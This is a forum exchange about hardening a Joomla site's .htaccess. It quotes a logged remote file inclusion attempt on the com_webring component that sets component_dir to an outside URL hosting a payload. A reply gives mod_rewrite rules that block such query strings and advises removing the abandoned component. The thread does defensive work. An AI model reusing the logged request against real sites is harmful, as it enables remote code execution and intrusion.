tyler wrote:
I saw a hack done where there seemed to be a GET request in the query string:
Here is the error log message;
Quote:
62.149.0.117 - - [14/Aug/2006:00:48:38 +0700] "GET /myweb/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://t3ch.addyour.net/ox.dat? HTTP/1.1" 404 266 "-" "libwww-perl/5.63"
I'm curious if this error log indicator above is a query string type of attack and I'm more interested if anyone can provide a suggested line for me to add to my existing version of the Joomla .htaccess (which also happens to be exactly the same as the recommended secured version that this thread discusses).
Would this be a good line for me to add in order to strengthen my security againt that type of attack?:
Quote:
RewriteCond %{QUERY_STRING} GET and components or modules or mambots or templates [OR]
I realize the statement itself is probably wrong, but how should the .htaccess code look so that I rewrite any GET string that has any of those other terms with it (components or modules or mambots or templates)?
This might not be candidate for the joomla recommended .htaccess cuz some people may have valid uses for such a query string, but I know that none of the URLs on my site will ever have GET in a query string with those other terms.
Also, for a query string attack like that, does the GET have to be case sensitive, plus in the existing recommended .htaccess rewrite rules are the query terms being evaluated as case sensitive?
Well, to be blunt, you are way off.
First of all, GET is part of the HTTP request header and would be addressed with mod_rewrite by the {REQUEST_URI} field not the {QUERY_STRING} feild. The query string is the part after the question mark '?'. In your example it would be "component_dir=http://t3ch.addyour.net/ox.dat."
Furthermore, you cannot block access to components, templates, modules, or mambots completely without breaking a lot of functionality of your site. For example, you won't be able to load any images that are part of your template, you won't be able to do anything that requires javascript (which is anything related to adding or editing content). You won't be able to use any component or module that has its own javascript or stylesheet files. I have tested this idea before, it doesn't work like you think it will.
What you want is something like this:
Code:
# Block out any script trying to set component_dir value through the URL
RewriteCond %{QUERY_STRING} component_dir(=|\%3D) [NC,OR]
Which if you are using the other mod_rewrite rules that I provided should go right above the last RewriteCond ... statement and its related comment to look something like this:
Code:
...
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to set component_dir value through the URL
RewriteCond %{QUERY_STRING} component_dir(=|\%3D) [NC,OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
...
Lastly, this is not a real solution to preventing com_webring from getting hacked. It will only block that specific attack and considering com_webring has been abandoned for a long time you should definitely remove it and find something else to replace it as the chances for a proper patch and security audit being done on the component are almost nonexistant.
Hope that helps.
Login
Register
Rules
FAQ
The team
